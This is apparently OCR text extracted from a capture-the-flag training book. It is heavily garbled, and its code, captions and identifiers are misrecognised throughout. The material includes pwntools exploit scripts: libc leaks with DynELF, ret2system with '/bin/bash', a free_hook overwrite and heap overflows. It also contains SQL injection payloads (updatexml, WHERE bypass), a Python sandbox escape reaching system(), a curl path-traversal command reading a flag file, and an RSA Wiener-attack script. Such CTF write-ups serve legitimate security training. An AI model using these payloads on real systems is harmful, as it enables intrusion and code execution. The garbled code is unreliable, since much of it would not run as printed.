PROFILING, REFERENTIAL_CONSTRAINTS, ROUTINES, SCHEMATA, SCHEMA_PRIVILEGES,
SESSION_STATUS, SESSION_VARIABLES, STATISTICS, TABLES, TABLESPACES, TABLE_CONSTRAINTS,
‘TABLE_PRIVILEGES, TRIGGERS, USER_PRIVILEGES, VIENS, INNODB_LOCKS, INNODB_TRX,
INNODB_SYS_DATAFTLES, TNNODB_FT_CONFIG, INNODB_SYS_VIRTUAL, INNODB_CHP,
INNODB_FT_BEING_DELETED, INNODE_CHP_RESET, INNODB_CMP_PER_INDEX, TNNODE_CHPMEM_RESET,
INNODB_FT_DELETED, TNNODE_BUFFER_PAGE_LRU, TNNODB_LOCK_WAITS, INNODB_TEWE_TABLE_INFO,
TNNODB_SYS_INDEXES, INNODB_SYS_TABLES, TNNOD_SYS_FIELDS, TNNODB_CHP_PER_INDEX_RESET,
INNODS_BUFFER_PAGE, INNODB_FT._DEFAULT_STOPHORD, INNODS_FT_INDEX_TABLE,
INNODB_FT_INDEX_CACHE, INNODE_SYS_TABLESPACES, INNODS_METRICS,
INNODB_SYS_FOREIGN_COLS, INNODE_CHPHEN, INNODE_BUFFER_POOL_STATS, INNODB_SYS_COLUMNS,
INNODB_SYS_FOREIGN, INNODB_SYS_TABLESTATS, f1ag, news
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count = 0

def . (string
return stringl: 1]

15t - 1ist (reverse (data) 1:1)

decrpyt(c, keyd)
global count

lobal data list

data listlcomt] = o key2

comnt += 1

GetFlagl ()
slobal data
key = struct.upack (', datallen(data) - 81)[0]
for ¢ In data 1ist
if comt = 0
decrpyt (struct. unpack (B, ©)[0], key)
key = struct.upack (B, datallen(data) - 31)[0]
decrpyt (struct. unpack C B, c)[0], key)

for c in data listl

print chz(©),

CetFlag20)
key = struct. upack ', datallen(data) ~ 111)[0]
for ¢ in data 1ist

1f cont = 0
decrpyt (struct. umpack (B, ©)[0), key)

else
key = struct.umpack (', datallen(data) - 4 ~ count])[0]
decrpyt (struct. umpack('B', ©)[0], key)
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1123'_and 1=(updatexml (1, concat (Ox5e24, (select * from flag),0x5e24),1))4
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'

int e 1/(sp+20m) [bp-sh)e1

vaim tals

e -0
Vieaze s
nite (a2 )
'
0b_101000 (5%, *a1);
2

PR

int main0)

fne v
for (int 1= 0; &< 3
-1

wi17(32) - 0
prine(tYour flag fs:

e v, 2
o ASETRERR

0 = aub_401100(v117, 1000000000) ;
Vi = sub_401220(v0, 999999550);
aub_101100 w1, 215

V2 = sub_801000 (sv117111, 5000000);
3 = sub401220(v2, 6E6668E);

A = sub_401000(v3, 166666615

5 = sub_401000(v4, 43}

V6 = sub_401100(u3, 21
aub_101000(v6, 515

o AR i

VI3 = ub_101000 (sv11T(30), 117
sub_403100 (vi13, v112);
5u_401000 (1170311, V11713011
printe("CTF(")

for (ine 3= 0; 3 <32 o3 )
printe(*\e?, LOBYTEWILIN;
prtnee(*i\n)
systen(passen);
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dof leak(addr): delete(D) payload = 'aatl0s'+'bbi+ic' (Ox18-len(‘assbb')) +
P64 (printf_addr) + "\n* create(32, payload) 4§ gdb.attach(p) delete(l, addr)
p.recvuntil(*aa) rec = p.recvuntil("bb®)  p.recy()  p.sendline("20%)

foc = recli-2] rec = rec + "\x00" _rerurn rec

d = DynELF (leak, proc_addr, eLf-ELF('./pwn'))
systen_adds = d.lookup(*systen’, 'libe’)
print "--—-1ibc. _address ¥x" V{systea_adds}
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Linez == OxE94bSTESAMC

" lined * 0x232323232323 == Ox5663344c5479

“ lines

oxa77243526564
(lined ~ lines  0x232323232323) == Ox506866456069
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data = [ord(c) for c in open(*flag.enc, 'rb').read()]

for | in reversed(xrange (len(data) - 1))t
data(i] = data(i] * datali + 1]

decrypted = '*.join([che(b) for b 4n datal)
£ = open("flag.dect, "wb')

£ovrite (decrypted)

f.close()
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+
iF (1==16)
i
puts(*The string list is full®);
Pre->fun((_intsd)pee)s

puts ("Invalid size®);
freeprr);

V

return _readfsquord (0x28w) * v
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g padat r 123456
Starting progran: /nome/nick/Desktop/ flagF indorRedux-67267acSb16bB 14t

registars )
£ G THTHT0175 ("8447(Congra7ulaTions Al buddy_yOUv3_solved_tha_rofl_HELTING prosi3n})
)
S0 10601 o> G4SE036F/IUIINTIN (1123456')
o ('F)
ST o> Gusa0036I 323N (1123456')
LTS (78047 {CangréTulaTlons_pAL_ buddy_yoUv3_solved_the_rofl_HALTING prosi3n})
GRS > 00
7T (79447 (CongréTataTIons_piL_buddy_yoUv3_solved_the_refl_HALTING proot3#})
LU (call | 6x400596 <mencrpepl i)
oxts (')
ox0
$ St rrertar > on
L
GO 3 TR e resia (~/homa/nick/Deskzop/ flagF inderfadu -
7267ac901608 400c 337069 1940524")
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+ gunzip < lion-cub > lion-cub-unzipped
+ file lion-cub-unzipped

Lion-cub-unzipped: POSIX tar archive (GND)

= tar xve lion-cub-unzipped

simple/

simple/sirple_Scid29¢0eTecetdTcT70a22293a1d228

simple/flag.enc

+ cd sinple

+ file simple Scid20f0eTaeatd7cT70a22253a1daa0
simple_Scid29¢00Tecefd7c170a2209301daa0: X2 compressed data

> xz -de simple_5c4d29f0¢Tecefd7cT10a22a93a1daa3 > simple

+ file simple

simple: ELF 64-bit LSE executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /11b64/1d-1inux-xB6-64.30.2, for GNU/Linux 2.6.26,

Bui1d1D (shal] =ab7a63652b0602 fbSe3b31aa0cech 146655719, stripped
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this.eval [ (this.eval [ (0x65));

this.eval [ .Text = this.eval [ .Text + this.eval [ (0x79);
this.eval [ .Text = this.eval [ .Text + "(";

this.eval [ .Text = this.eval [ .Text + "{0}";

this.eval [ .Text = this.eval [ .Text + ")";
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edit (2, p64(0x1) + P64 (Free_hook))
edit(1, psd(system))

ada(2ss, "/bin/bashn) te
®i11(6)
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IFLAG is : flag(Sbctecds66088430) <Iohp
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Hacked!
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6469382374409927466834098811414518319391906097434476765253]
25543963362353923989076199470515758399
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<apne

function clean_hash(shash) (

return preg_replace(*/[0-9a-£1/", ", shash);

function myhash(sstr) {
return clean_hash(ndS (ndS(Sstr) . "SALT*));

function randonPassword() {
Salphabet = 'abedefghi jkimnopqrstuvwxyzABCOERGH JKLINOPORSTUVMXYZ1234567890" 5
Spass = acray(); //remember to declare Spass as an array
Salphaength = strien(Salphabet) - 1; //put the length -1 in cache
for (51 = 0; $1< 8 $ien) (
Sn = rand(0, Salphalength);
spass(] = Salphabet(n];
)
return implode(spass); //turn the array into a string

while(true) (

Spass = randomPassword();

¢ (nyhash (Spass) == "0e408306536730731920197920342119%)
echo myhash(spass), "\n";
echo $pass, "\a%;
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for 1 i range(1,80000)
4¢ 4800008 (141) =
print $+1,480000/ (141)

= - lambda _.

_import__(*struct?) .pack(*<L’, )
crypted_header = "2642507AT30B35741426202510773R6E1A337540T5A525504512¢"
"0B33027407461452EE4E1F 55014002 1FOC1 55046235828 49384231  decode (hex )

(424D36E91500000000003600000026000000° + & (4) .encode (*hex')
5(480000/1) .encode('hex') + \

n= o
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flag: config.secret_password 1);
Dy

router.get (/logout®, function(req, res, next) |

req.session = null
res. Json(('status's ‘ok']);
i

router.post (*/login’, function(req, res, next) (
4£(req.body.password 1== undefined) (
var password = new Buffer (req.body.password);
4 (password.toString (*basesd’) == config.secret_password) [
req.session.admin - 'yes's
ros.Json ({'statuss ok 1);
) else (
res.json((statua’s tercor’, ‘error': 'password wrong: '+ \
password. tostring () 1)
)
) etse (
res. json(( stacus

tereort, terror': 'password missing' )i
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curl http://114.215.113.20/ cat ../../flag.flagihead -n 1 | tail —n 1
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inted sub 885 ()
0

__inted result; I1xaxes
_tnted vi; //xexes

tnt v2; //tspran) (bp-1schjez
int vas //(sp+8n] (bp-158h]@7
tne 4y //tsprchi (bp-154nie1
char vs(64); //(spr10n] (bp-150n]01
char s //Tsp#50n] [bp-110n181
__tnted v1; //Lsprisan) (bp-shier

VT = MKFR(_FS_, 40LL);
memset (65, 0, 0x100uLL);
memset (vS, 0, Ox40uLL);
for (1=0; <=3 +4i)
‘
puts (*input indext);
Lf ( 1_isoc99_scant("¥a%, 4v2) )
«
puts(*ioput exror ");
exit);
)
(23
extt(0);
printf(*now value 3d\n", *(_DWORD *)4vS(4 * v21);
puts (*input new value®
_i50099_scant ("4d", v3);
< (DWORD *)6vS (4 * 2] = v3;
)
puts (do you want continue(ok)?
read(0, &3, SuLl);
result = strncap(ss, "ok, ZuLL) == 0;
V1= MKCER(_FS_, 40LL) % v;
return result;
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import. Continuedfractions, Arithmetic
import sys
sys.setrecursionlinit (1000000)

dee hack_Sh (e, ¢
£rac = Continedfractions. rational_to_contfrac(s, n)
convergents = ContinuedFractions.convergents_from_contfrac(frac)

for (x,d) in convergents:

1€ K1-0 and (era-1)%k
hi = (erd-1)//k
sen-pniel

diser « a's - 4n

e (disers-o)
© = Arithmetic.is_perfect_square (discr)
L€ tiecl and (se0)v2en
print (Hacked! ")

return o

€ _name_ =» *_main_"
o= kMKl
o= KA#
d = hack_Rsh(e,n)
print
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> file clark
ELF 32-bit 138 executable, Intel 50386, invalid version (SYSV),

dynamically linked (uses shared 1ibs), corrupted section header

clark: sor

ONU/Linux 2.6.24,
size
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CREATE TABLE random_data (id int, message varchar(50), display int)
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create(d, ‘aaa\n')
create(s, ‘asa\nt)
create(d, ‘asa\n')

dotote (D)
delete ()
detete(2)

payload = "a® * 16 + "bhbbbbbD® + cocccece® ¢ \n'
create(32, payload)
delete 1)
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>>> 2 = [1._class_._base__._subclasses_() [59]
>5> b = a.__init__.func_globals(*1inecache'] . _dict_.values() (12]
53> b._dict_.keys()index(*systen)

144
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jnz short loc_4
test  eax, eax
iz short loc_461089
loc_461096:
inc ecx
inc ecx
inc ecx
inc ecx
| _text:0840109A int 3
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print "Hello World!®
arg= rau_input (*%)
print arg
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ine edteq)
¢

_inc6d vo; Ireaxes

int v2; //(sprcn] (bp-snier

puts (*Input your id");
vz = read_int();
L8 (v2 <0 1) v2 5= sum(0] )
[
LODHORD (v0) = puta (*Invalid id!
)
else
i
V0 = *(LGWORD *) (16LL * ¥2 + global_malloc);
ir (v0)
‘

puts(*Input your new action®);
LODHORD (v0) = (unsigned _int6) read_action(
“(_QHORD *) (1611 * v2 + global_nallec),
“(OWORD *) (16LL * v2 + global malloc + 8));

)
return vo;
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import. numpy as np.

£rom PIL inport Image

import skimage.io

import os

WHITE, BLACK = 255 , O

path = */Users/cc/Documents/3389/b/"
newpath = */Users/cc/Documents/3389/c/"

def BINARIZATION(path, file_nase) :
ing = Tnage.open (path+tile_na
ing = ing.convere (L)

ings = skinage.io. imread (path+€ile_nane)
tet = np.mean(ings)

ing = ing.point (lambda x: WHITE if x > tet else BLACK)
ing = ing.convert (*1')
ing

ave (newpatheile_nane)

for parent,dirnanes, filenares in os.valk(path):
for filename in filenames:
erys
BINARIZATION (path, filenane)
excepts
pass
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from pwn import *

emELE(t

rpunn)

P = process(*./pwn")

def leakbase():
R

for

for

i in range (2
prrecvunt il (*index”)

p.sendline (stx(-2147483476 + 1))
p.recvuntil("now value =)

tnp = p.recvline () (i-1]

tnp2 = int (enp)

if tapzeo:

tmp2 = tnp2EOXTFEEFFEE + 0x80000000
addr = hex(tnp2) [2:) + addr
P-recvuntil(“input new value\n®)
prsendline (1)

in range (2
- recvant il (index")
-sendline(*1%)
R U D SRLOEAEY)
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~---registers:

o
0xb77c0000 --> bx1acdas
ox0

xb77c1898 --> 6x0

ox

ox0
exa1414141 (‘AaaA")

xbIFrerdo --> bx0

0x42424242 ('BB8B")

EFLAGS: 6286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
- ~code-

fnvatld $pc address: bxe2424242

[

0000] OxbrFerdo —-> Ox0

0004] OxbIffefdd —-> OABIIF064 --> OXBIFIf238 (*/hone/test/Desktop/explott/ctr/2017

stack

_pun

1/pun1_c1d0173¢20208 el f046cB4331531d37")
000B| OxbIffefds --> ONDFFFFOGC --> OXDFFFF289 ("XDG_VINR=7")

0012] OxbIfferdc —-> o i (<call initsz6s: add " ebx,0x121c6)

0016] Oxbffefed —-> Bx1

0020] OxbIffefed > OMDFFFTO64 --> BXDFFIF238 (*/home/test/Desktop/exploLt/ctr/2017
1/pun1_c1d0173020208feFf046c84331531d37")

0024] Bxbrfrefes --> OxbFFFr004 --> OXOFBTCTbO

0028] GxbFffefec —-> 0xB042020 --> /.- o0 (< Ube start naln push  cbp)

s
Legend: ., data, rodata, value
ox42424242_tn 72 ()

qdb-pedas
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<zphp

Scookie = "a¥IAZ3IAYTBSIIABYIAN22usernane’22e38e s IAIY IAI224enol22HI0sY IARVIAN2ZE.
assuord1224 385130404 3AR2289019507941 9040069804141 6bE023ccddco112243B4T0"

Sdata = unserialize (urldecode(scookie));
var_dump (Sdata) ;
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A The imports segment seems to be destroyed. This MAY mean that
the file was packed or otherwise modified in order to make it
more difficult to analyze. If you want to see the imports
segment in the original form, please reload it with the
‘make imports section’ checkbox cleared.

[7] Don't display this message again

)
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router.get ('/", function(req, res, next) (
res.render(tindex, { title: 'index’, admin: req.session.admin ));
ni

router.get (*/adnin', function(req, res, next) [
es.cendec(tatnint; ( titler "Adwin-ares®; adui

[
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private static String(] knows_file = ( */systen/1ib/libe_ralloc_debug_qems.so",
“/sys/qenu_trace®, */systen/bin/qemu-props®

public static boolean hasgEmuFiles()
t
Stringl] arrayofstring = known_tile;
int § = arrayofstring.length;
nt 1m0
Lor: B3





OEBPS/Images/264-1.jpg
_| Lbmp EtE

CABI AR

M |=e | #4HES
Rt &
=l 3
R 40 x 10
BE 40 8%
= 10 &
RE 24

~ri






OEBPS/Images/036-1.jpg
BRI T —Mping@m LB NIR, Rid—TIE!

WEABP

wa01 ot

011 BER. ¥¥-22 Hicine o120
20 122000011 BERL FPe32 Hifcine o120

127.0.0.1 8 ping WA
SRE - 4, BAE - 4, BE - 0 (o BR),
TR RO

2 - oma, B - Omn, T - Oma






OEBPS/Images/207-3.jpg
1 /usz/bin/python
from pun inport *
import struct

ot p32 (addr) +
return struct.pack(*<i®, adds)

overflow = 312

P = process (" /gns")

#p = remote(*192.168.1.142%, 8017)

p.sendline (*add")

p.sendline (a") ¢ author

pesendiine ("b%) 4 title

boom = "2% + overflow + p3Z(0x804b0a0)

P.recvuntil("What's the Messages?")

p.sendiine (boom) # body = overtiow

perecvunEil(teers %)

password = p.recvline ().split (* ) (0]

log.info("flag: " + password)

p-close)
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1ocalException.printStackTrace();

)

Toast makeText (getApplicationContext (),
"0ops!That 's wrong!", 0) .show();

)
L6 (paramView.equals(this.etl.getText () .tostring()))
«
Toast.makeText (getapplicationContext (),
“That's the flag”, 0) .show();
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python
5> [1._class_._hase__

<type 'object'>
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enceypted_key = 1...1

key_plain = [encrypted_key(0]]

for i in range(l, len(encrypted_key)):
Xey_plain. append (encrypted_key[i] * encrypted_keyli - 1] * i)
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[222 method protected cncreate (Landzoid/os/Bundie:

Tooals 1
‘param pi, "savednstancestate  § Landroid/os/Bundle;

-prologue
Tine 20
invoke-super (50, i), Landroid/app/Activicy:->onCreace (Landroid/os/Bundles)V

tine 21
const/high1s v0, 0x7£030030

invoke-virtual (p0, v0), Loom/syclover/crackne00l/Mainhccivicy; >sescontenciion 1)V

tatic (), Loon/syclover/crackne00) /Matnhceivicy; ->hasgEmFiles ()2

move-resait w0

t-eqe w0, soona 0

1ine 25
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move-resait vo
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1ine 26
iona o
retarn-votd

262 .ena metnoa






OEBPS/Images/245-2.jpg
Lnput number:

wun: 1825326326
yes,right nunmber!
tnput number:

Wn:453534293
yes,right number!
tnput number:

wn:139388433
yes,right number!
lnput number:

wn:918652508

yes,right number!

fou r great!

Flag: 111

{ow nany times you can get flag!
Please select one option:

wl: goes into vul.

» Invalid command.

dow many times you can get flag!
Please select one option:

wl: goes into vul.

> Invalid command.

676186930
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printf got = elf.got('printe’]
print Ax" 4 (princt_got)

attack (systen_addz, printf_got)
P.send ("/bin/bashin®)

pointeractive()
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void _cdecl _nozeturn main()

‘
char V0120241 //(spricn] (bp-4osniez

int s //1sprarch) (bp-ahie1

VL= MKFR(_GS_, 20);
while (1)
‘
menset (v0, 0, 0x400u);
read(0, v0, 0x400u);
printe (vO);
£e1ush (stdout) ;
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char bufl] = "flag: (NSCTE_mdS098£6bcd16214373cade eB326270416) %5
int _tmain(int arge, _TCHAR argv(l)

«

print("1d\n", strlen(buf));

char key = *\x0b';

but(47) = key;

for (int &= 1; <48 ien)
«
BuEl4s - 1 - 1] 7= bue(as - il;

return 0;

print "Revese it??:
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ki)

payload = "£=s0x1l0

Payload += p64(0) + PEA(0x100) + p6d (hespl - Ox198) + p6d (heapl - 0x190) + \
groxED

payload += P64 (0x100) + P64 (0x90) + "h

payload += p64(0) + P64 (0x101)

44 (768, paylosd) v

kil (3)

ox0
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Private void method_7(string string0, int int_0, ref string string 1)
¢
int nun2 = 0;
£ (0 < string 0.Length)
«
do
1
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Starting local process *./sultableplace’s pid 7533
Sutiching to \nteractive node

flag sultableplace suttableplace.c suttableplace.c-






OEBPS/Images/272-1.jpg
BEES R =8sS

<coz~-m>»H#
1
svwoxo0o0

w[ <l =] 2| < | =%
U






OEBPS/Images/298-2.jpg





OEBPS/Images/025-2.jpg





OEBPS/Images/218-2.jpg
e e

G, o)

gt

s
i






OEBPS/Images/244-4.jpg
£rom pun import. +
impore time
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SELECT + FROM admin WHERE uname='uname’=(select (1) from(admin)where('1')=('1"))
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Your Serial Number: [123 Registeration
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localCipher.doFinal (paramArrayOfByte), 0);
| catch (exception localbxception) (

'

String localbxception = ")

theow new Exception (localBxception);
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+ Desktop ./linux_serverx64
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int cdecl noreturn main(int arge, const char argv, const char envp)
f

int v3; /7tsprian thp-chiez

tne va; /1isprich) (bp-anie

va = MKER(\GS, 20
setbuf (stdout, 0);

setbut (stderz, 0)7

wnile (1)

[

Puts ("How many times you can get flagi®);

Printf(*4sts", "Please select one option:\n®, "vu
printf(™> *);
readline((char _)&v3, 8, stdin);

goes into vul.\n");

i€ ( tstremp((const char *)&v, "vul®) )
a0

else

puts("Invalid command.
)
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#include <openssl/acs.h>
binclude <stdlib.h>
binclude <stdio.h>

//ctphertext
static unsigned char oril] = (
Ox7e, Ox6d, Oxad, Ox3e, Ox40, OxB1, Oxic, Oxfb,
Oxal, 0x09, 0x01, Oxd8, Ox13, OxTb, O0x25, Oxba,
b

112: tndex 3
113
110: index 12
static unsigned char key0[] =
0x68, 0x65, 0x79, 0x02, Ox63, OxE8, OxEs, Ox63,
Ox6b, 0x03, 0x69, Ox74, Ox00, OxGf, Ox75, Ox74,

index 9

Sndex 4
index 7
+ index 12
static unsigned char keyll) =
0x63, 0x6¢, 0x6d, Ox65, Ox01, Ox6f, Oxée, 004,
0x62, 0x61, 0x62, 0x79, 0x05, OxTe, Ox7e, Ox21,

b

ool out = false;

1ot mednth
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private void method_40

{
this.method_3(this.method _2(0x65));
this.messageText.Text = this.messageText.Text + this.method_2(0x79);
this.messageTextText
this.messageText.Text = this.messageText.Text + '(o)
this.messageText.Text = this.messageText.Text + *);
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P = cemote ("xx.xx.xx.xx" 10000)
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Eron pun inport ©

=ELF(*./pun’)

L€ list (e.seareh("sh)) :
print "okt
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int _cdecl _noreturn main(int arge, const char *targy, const char **enve)

int v I1eexer
LPVOID. 1pem; //1spsh) (bp-chier
HANDLE niisap; //1spr1on] (bp-anier

hiteap = HeapCreate (0%40000u, 0, 0);

ipen = HeapAlloc (hHeap, 8u, MaxCount + 1);

mencpy_s (1pten, MaxCount, sunk_409810, MaxCount);

S ( sub_40102A() || TsDebuggerpresent () )

_debugbreak();
Sub_401000(v3 + 4, (int)lptiem);

ExitProcess (OKFFFFFEFE)

MessageBoxh (0, (LPCSTR)lphen + 1, *Flag®, 2u);

HeapFree (nieap, 0, lpMem) ;

Heapestroy (nHeap) ;

Exitprocess (0);
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Var siteNane = §(".ex] input[type=text']").val().tzin() .coplace(/</q,
"s1ei) .replace(/>/a, "sgt:

var siteURL = $(.exl input(type='url']").val().trin().replace(/</q,
"s1t; ") .replace(/>/g, "sati®);
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1 <html>

2 <l-

4 $md51 = md5('QNKCDZO");
5 $a = @$_GET[a'];
6 $md52 = @md5($a);
7 if(isset($a)f
& if ($a I= "QNKCDZO' && $md51 == $md52) {
9 echo 'ndf{ttﬁtt**”ittt**t}";
10 }else {
echo "falselll";
12
13 else{echo "please input a";}
14
15 -=>
16 </html>
17 please inputa
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-ELE(*./pun")
P = process("./pwn")

sys_adds = p32(e.synbols( systen’])

sh_addr = p32(e.search(*sh') .next )

ret_addr = p32 (0x11111111)

payload = "A"t52 + sys_addr + ret_addr + sh_addr + "\n®
p.send (payload)

p-interactive()
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(+] Receiving all data: Done (45B) [_] Process './qns’ stopped With exit code -6
(SIGABRT) (pid 12591) [_] 312 [+] Starting local process './gms': pid 12594 [+]
Receiving all data: Done (458) (L] Process './gms' stopped with exit code -6
(SIGABRT) (pid 12594) [
Receiving all dat.

313 [+] Starting local process './gms': pid 12597 [+]

Done (0B) [_] Process './gns’ scopped with exit code ~11

(SIGSEGY) (pid 12597) [_] 314 [+] Starting local process './gms': pid 12600 [+]
Recelving all data: Done (0B) [_] Process './gms' stopped with exit code -11
(SIGSEGU) (pid 12600) (L] 315 [+] Starting local process './gms': pid 12603 [+]

Receiving all data: Done (0B)
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() Remote Windows debugger
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Default debuggers (autoselected for new databases):
win32

| Set as default debugger
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private static void Main(string[] args)
‘
Console.WriteLine (*welcone to the boston key party encryption®);
console.

teLine(*we encrypted this picture, but forgot the
password®) ;

Console.WriteLine (*can you recover it for us?

Console.Write ("give me a file: *);

string path = Console.Readiine ()

string ste2 = path;

1€ (ile.Exists(path))
t
Console.Writeline ("Got it, you want to encrypt (017, path);
)
alse
¢
Console.WriteLine ("that's not even a file, byet®);
return;
B
bytel] file = File.ReadAllytes (path);
Console.WriteLine (*now give your enceyption key in a file: ");
path = Console.ReadLine();
1€ (File.Exists(path))
¢
Console.Writeline ("Got 1t, your key is%, pathi;
)
olse
F
Console.WriteLine ("that s not even a file, bye!
roturn;

)
bytel] key = File.ReadallBytes (path);
e (key.Length t= 0x36)

i





OEBPS/Images/240-1.jpg
tiubuntu-/Dushtep/vers\onzs pythen success

et

Ty
e

A L






OEBPS/Images/249-5.jpg
Velcoms to my Python sandboxt Enter commands below! Please don’t mess up Ay serv
o though 3/

»> a = [1._class_._base_. _subclasses_OI59]

>> b = a.init__func_glohals [’ Linecache 1. _dict _.values©)(121

223 ¢ 2 bodiet _values 011441

»> o

flag. ext
shell.py

> sCcat Flag.exe™
5. Sear masinise_bibian
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Hello World

Hello guys, flag is in the database
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you should solve this game by sqlin
View article
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1. 12800 58 Isub
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short patch3.00401037






OEBPS/Images/074-1.jpg
THO #EO L0 TEO EDY.
[192.168.89.139 - - [€2/0ec/2016:1575
- - [02/bec/2016:15:5:
- - [02/becsz0t6:15.
- - [92/pec/2016:15:
- - [02/pec/20t6:15.
- - (92/0ec/2016:15:5:
- - [02/0ec/2016:15:5:
- - [02/bec/a0t6:1s.
- - [02/0ec/2016:15.
- - [02/pec/2016:15.
- - [02/becszote:ts.
- - [02/pec/2016:15.
- - [02/pec/z0t6:15.
- - (@/0ec/2016:15
- - [02/pec/2016:15.
- - [02/becsaot6:15.
- - [02/0ec/2016:15.
- - [02/bec/2016:15.
- - [02/0ec/2016:16.
- - [02/vec/2016:16.
- - [82/bec/z0t6:16.
- - [92/0ec/2016:16.
- - [02/bec/2016:16.
- - [02/bec/2016:16:06:17
- - [02/mec/2016:16:09:20

- y o

TGET /3.php WITP/1. 10 A0h 200
71 php WTTP/31 won 208

717t WTTe 3w 280

71t NI/ 4 n0n 200

7aza.pnp WITP/1.1 how 205

77139 Fag WITP/1.1° Ao 207

76139 F1ag WITP/3.1" A0k 208

7index.ntml WITP/1.1" 40k 208

7ndS.php WITP/1. 1 hon 205

/a5 php WITP/3.1 A0k 206

7pvp WTTR/1. 1 Wi 201

75et WITR/A 1 non 201

75q1.php NTTP/1.1" how 205

7Eest.php WITR/1.1" A0k 206

71ajfiasiF1sajFLdsa Flosaf 10safF1fdsaily

7ajf1asjflsajfidsaj1dsaf 1dsaj1Fasaie

7 WIT/1.1 200 161

7 WrTP/1 1" 200 161

7 WiTe/1 3 200 161

7

7

WITP/1 1 200 161
WP/ T 200 1
7 WITR/1.1 208 161

7adnin WITP/1.1" Nn 268
Zadnin WITP/1 1 non 269
/F13g7¢2202638686%eba HITP/1.1" 40A 218






OEBPS/Images/044-1.jpg
KfﬂFJ:{"é

o

®)

405

wnawns

EURRENERER  WER - TRARER.






OEBPS/Images/276-3.jpg
n=0x367198D6BS614E95813ADDBF22A4717BC72BE1EABDI33D1B86944FDB7
SBBED230BE62D7D1B69D222095C1268C8 6F82012ECB116191FDID01BA6DO2E.
84DB27BC51A21307DC86F4BE771C691C143E5ABES49B5BD2D6EB1A21FD627
OE7E1B48FE0611FBB2E1B0B3524E6F4DEGBAE4A345DA44A13DEB25B72608D
B6CTC4A40B78266E6CE TBBFDEF6B48381D49C4507AS8BCDA 787 6D64B45908
B158BD7EBCADACBOBICFD6C2C19574F40EB2EFDOESE]0DC7005SCAD39BCAFS
2B9EAC3873368D69031CSE724684A44F068EFD1D3DCO96DIBSDE411ESBEDE
E43E46B99IA0D0494BIDB28195AFI01AFF130D4A6E203DADOBDASTFATEA026
2ASBADB2A323EDA28B44696AB305D

=0xF3959D978E02EBIF06DEF3F335D8FEAFDT 609951DDAC60B714B6C22AF
OFA912F210B34206BD24A9601C78DF4A0275F107FD3ABS52D95057EBI34ET
1BDDCD7045C24B1858 7B8CBECFSADDACSDB3FOCT 7C94DCICSOCBES 38E2B67
BAFD31633B6AAF1781D90C3ADEF03D037B3321801B2354 6D483E6TE26067F
7B22347DDBCOC2DS592CES14CBFSDFCCC141437F14E0B3990F88061ESFOBAE
SFO1E3FA70DBOE960SETCFDS7SEICE1EFEECS29C33FDI037TA20FDEACDS13A
€9637768313E63F9838AE3511CDDOAIA2BS16F2148C8D475A360A06359449
739EECD251ABB42B014573E439F2FA4573557B25699FFC11E631CESEED75A
86E7TE272BCF5F76A93450348FE3F






OEBPS/Images/122-1.jpg
Clark Kent
Batome that ece Jou'se Gestinedte be. Discoves will evaive yous Zeveceing: powets.






OEBPS/Images/121-4.jpg
+ gunzip < flag.dec > flag.png
gzips stdin: unexpected end of file

> file flag

<png

flag: PNG image data, 327 x 327, 1-bit colormap, non-interlaced
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a0k (v3, 011, 2);
V5 - 68;
v6 = freli(va);
rewind(vi);
V7 = calloc(luil, v6 + 117
v = (_int6)v;
i (v
‘
L0BYTE(WS) = 5
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std: sendi<char, std: schar_traits<char>> (vi8);

ol
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sinclude "etdatu.nt
Hinclude <windows.h>

int *_cdecl sub_401000(int *al, int a2)

‘
L IramAB R

)

int *_cdecl sub_401220(ine *al, int a2)

‘
int v3; //1spean) (bp-10nie1
signed tnt vi; 11spech) Ibp-chiei

v =
vie-az;
a1 e v3
a1 s var
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return ai;

)
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Python >>> [1.class.base.subclasses() [... <type 'instance'>, <type 'ellipsis'>,
<type ‘member descriptor's, <type 'file'>, <typs ‘PyCapsula's, <typs 'cell's,
<type ‘callable-iterator's...|
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/127.0.0.1:5300/ comment /086c1db 741622 £4e£376dcE493£8D
User-Agent: Mozil1a/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTHE, like
Gecko) Phantomys/z.1.1 Safari/s38.1

Accepts */+

Connection: Keep-Alive

Referer: bt

Accept-Encoding: gzip, deflate
Accept-Language: en, *






OEBPS/Images/302-2.jpg
e = g

rowasees | miweex- F 3w
i |






OEBPS/Images/099-2.jpg
XfF: C:\Users\tenshine\Desktop\BEIF AP\ chapter2\exe\rever
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<script>

function erack()
«
SmokeyBear . showToast ()
)
exack()

</script>
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@ Payload Options [Simple list]
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<zphe.

/* Connect to a MySQL database using driver invocation *
Sdsn = mysqlidbname=testdb;host=127.0.0.1
Suser = "dbuser';

Spassword = 'dbpass's

tey
Sabh = new PDO(sdsn, Suser, Spassword);
) caten (pDOException Se) |

echo 'Connection failed: '

. se->gethessage ();
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protected void onCreate (Bundle paranBundic)
‘
super.onCreate (paranBundle) ;
setContentView (2130903040 ;
if (hasgEmuFiles()) (
Process.killprocess (Process.myPid());
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answer = hashlib.shal(secret["the answer to life the universe and
everything™]) hexdigest () [0:16]
key = hashlib.shal(secret["Don’t google What it is"]).digest () (0:6]

L8 oxd(key(4]) * (od tkey [51)-5)
dostroy_tne_universe ()

175572

Keys = [hey"+key (2] +"check +key [3]+7it *+key (0] +vout™,
"come®vkey [1]4%an® +kay [4]+ baby "+key (5] +~~1"]
answer = AES.new(keya[1], AES.MODE_ECB) .encrypt (AES.new (keys (0],
AES.MODE_ECB) .enceypt (answer) )

if basest.bedencode (answer) == "En2knkCBHPURCQHYEIspag=~
£p = open(*4s.txt % hashlib.sha2ss (key) .hexdigest (), "w*)
£p.urite (secret [*The entrance to the new world™])
fp.close )
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Create a Java Project E = 9

Create a Java project in the workspace or in an external location.

Project name: ctf{

7] Use default location
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‘ RequestBin
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GET /1kx02b117 & 0 bytes
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FORM/POST PARAMETERS HEADERS
None Total-Route-Time: 0
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£rom pun inport +
b = process(*./punz_")
elf = BLF (. /pun2_")

def leak (addr) :
print hex (adde)
payload = '435sashb’ + p32 (addr)
p-sendline (payload)
rec = p.recvuntil("aa)
p.recv)
if len(ree) == 2

return "\07
elser

d = DynELE (leak, e1f-ELE("./pun2_"))
Libc_addr = d.lookup(None, '1ibc’)
~libe  address 4" A (Libe_addr)

prine "
d = DynELF (leak, 1ibc_addr)
syster_adds = d.lookup (*systen’)

print "-—---system address ¥x" %(system_addz)
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1 /usz/bin/eny python
inport basess

fron 1ib.core.enuns import PRIORITY

fron 1ib.core.sertings impore UNICODE_ENCODING
